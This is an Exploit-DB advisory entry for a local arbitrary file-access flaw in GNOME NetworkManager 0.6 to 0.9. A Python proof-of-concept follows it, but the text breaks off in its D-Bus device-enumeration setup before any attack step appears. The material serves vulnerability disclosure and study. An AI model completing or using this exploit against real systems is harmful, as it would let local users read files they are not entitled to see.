Exploit-DB #36887
Description: GNOME NetworkManager 0.x - Local Arbitrary File Access
Type: local
Platform: linux
Date: 2012-02-29
Author: Ludwig

Exploit:
source: https://www.securityfocus.com/bid/52206/info

GNOME NetworkManager is prone to a local arbitrary file-access vulnerability.

Local attackers can exploit this issue to read arbitrary files. This may lead to further attacks.

NetworkManager 0.6, 0.7, and 0.9 are vulnerable; other versions may also be affected.

#!/usr/bin/python
#
# Copyright (C) 2011 SUSE LINUX Products GmbH
#
# Author:     Ludwig Nussel
# 
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# version 2 as published by the Free Software Foundation.
# 
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
# 
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA

import gobject

import dbus
import dbus.service
import dbus.mainloop.glib

import os
import subprocess

def N_(x): return x

_debug_level = 0
def debug(level, msg):
    if (level <= _debug_level):
	print '<%d>'%level, msg

class NetworkManager(gobject.GObject):

    NM_STATE = {
	      0: 'UNKNOWN',
	     10: 'UNMANAGED',
	     20: 'UNAVAILABLE',
	     30: 'DISCONNECTED',
	     40: 'PREPARE',
	     50: 'CONFIG',
	     60: 'NEED_AUTH',
	     70: 'IP_CONFIG',
	     80: 'IP_CHECK',
	     90: 'SECONDARIES',
	    100: 'ACTIVATED',
	    110: 'DEACTIVATING',
	    120: 'FAILED',
	    }

    NM_DEVICE_TYPE = {
	    0: 'NM_DEVICE_TYPE_UNKNOWN',  # The device type is unknown. 
	    1: 'NM_DEVICE_TYPE_ETHERNET', # The device is wired Ethernet device. 
	    2: 'NM_DEVICE_TYPE_WIFI',     # The device is an 802.11 WiFi device. 
	    3: 'NM_DEVICE_TYPE_UNUSED1',  # Unused
	    4: 'NM_DEVICE_TYPE_UNUSED2',  # Unused
	    5: 'NM_DEVICE_TYPE_BT',        # The device is Bluetooth device that provides PAN or DUN capabilities. 
	    6: 'NM_DEVICE_TYPE_OLPC_MESH', # The device is an OLPC mesh networking device. 
	    7: 'NM_DEVICE_TYPE_WIMAX',     # The device is an 802.16e Mobile WiMAX device. 
	    8: 'NM_DEVICE_TYPE_MODEM', # The device is a modem supporting one or more of analog telephone, CDMA/EVDO, GSM/UMTS/HSPA, or LTE standards to access a cellular or wireline data network. 
	    }

    NM_802_11_AP_SEC = {
	    'NM_802_11_AP_SEC_NONE': 0x0, # Null flag.
	    'NM_802_11_AP_SEC_PAIR_WEP40': 0x1, # Access point supports pairwise 40-bit WEP encryption.
	    'NM_802_11_AP_SEC_PAIR_WEP104': 0x2, # Access point supports pairwise 104-bit WEP encryption.
	    'NM_802_11_AP_SEC_PAIR_TKIP': 0x4, # Access point supports pairwise TKIP encryption.
	    'NM_802_11_AP_SEC_PAIR_CCMP': 0x8, # Access point supports pairwise CCMP encryption.
	    'NM_802_11_AP_SEC_GROUP_WEP40': 0x10, # Access point supports a group 40-bit WEP cipher.
	    'NM_802_11_AP_SEC_GROUP_WEP104': 0x20, # Access point supports a group 104-bit WEP cipher.
	    'NM_802_11_AP_SEC_GROUP_TKIP': 0x40, # Access point supports a group TKIP cipher.
	    'NM_802_11_AP_SEC_GROUP_CCMP': 0x80, # Access point supports a group CCMP cipher.
	    'NM_802_11_AP_SEC_KEY_MGMT_PSK': 0x100, # Access point supports PSK key management.
	    'NM_802_11_AP_SEC_KEY_MGMT_802_1X': 0x200, # Access point supports 802.1x key management.
	    }

    def __init__(self):
	self.bus = dbus.SystemBus()
	self.proxy = None
	self.manager = None
	self.running = False
	self.devices = {}
	self.devices_by_name = {}
	self.aps = {}
	self.ap_by_addr = {}
	self.ap_by_ssid = {}

	self.check_status()

	self.bus.add_signal_receiver(
	    lambda name, old, new: self.nameowner_changed_handler(name, old, new),
		bus_name='org.freedesktop.DBus',
		dbus_interface='org.freedesktop.DBus',
		signal_name='NameOwnerChanged')

	self.bus.add_signal_receiver(
	    lambda device, **kwargs: self.device_add_rm(device, True, **kwargs),
		bus_name='org.freedesktop.NetworkManager',
		dbus_interface = 'org.freedesktop.NetworkManager',
		signal_name = 'DeviceAdded',
		sender_keyword = 'sender')

	self.bus.add_signal_receiver(
	    lambda device, **kwargs: self.device_add_rm(device, False, **kwargs),
		bus_name='org.freedesktop.NetworkManager',
		dbus_interface = 'org.freedesktop.NetworkManager',
		signal_name = 'DeviceRemoved',
		sender_keyword = 'sender')

    def cleanup(self):
	self.switcher = None

    def devstate2name(self, state):
	if state in self.NM_STATE:
	    return self.NM_STATE[state]
	return "UNKNOWN:%s"%state

    def devtype2name(self, type):
	if type in self.NM_DEVICE_TYPE:
	    return self.NM_DEVICE_TYPE[type]
	return "UNKNOWN:%s"%type

    def secflags2str(self, flags):
	a = []
	for key in self.NM_802_11_AP_SEC.keys():
	    if self.NM_802_11_AP_SEC[key] and flags&self.NM_802_11_AP_SEC[key]:
		a.append(key[len('NM_802_11_AP_SEC_'):])
	return ' '.join(a)

    def nameowner_changed_handler(self, name, old, new):
	if name != 'org.freedesktop.NetworkManager':
	    return
	
	off = old and not new
	self.check_status(off)

    def device_add_rm(self, device, added, sender=None, **kwargs):
	if (added):
	    dev = self.bus.get_object("org.freedesktop.NetworkManager", device)
	    props = dbus.Interface(dev, "org.freedesktop.DBus.Properties")
	    name = props.Get("org.freedesktop.NetworkManager.Device", "Interface")
	    devtype = props.Get("org.freedesktop.NetworkManager.Device", "DeviceType")
	    debug(0,"device %s, %s added"%(name, self.devtype2name(devtype)))

	    self.devices[device] = name
	    self.devices_by_name[name] = device

	    if devtype == 2:
		wifi = dbus.Interface(dev, "org.freedesktop.NetworkManager.Device.Wireless")
		aps = wifi.GetAccessPoints()
		for path in aps:
		    ap = self.bus.get_obje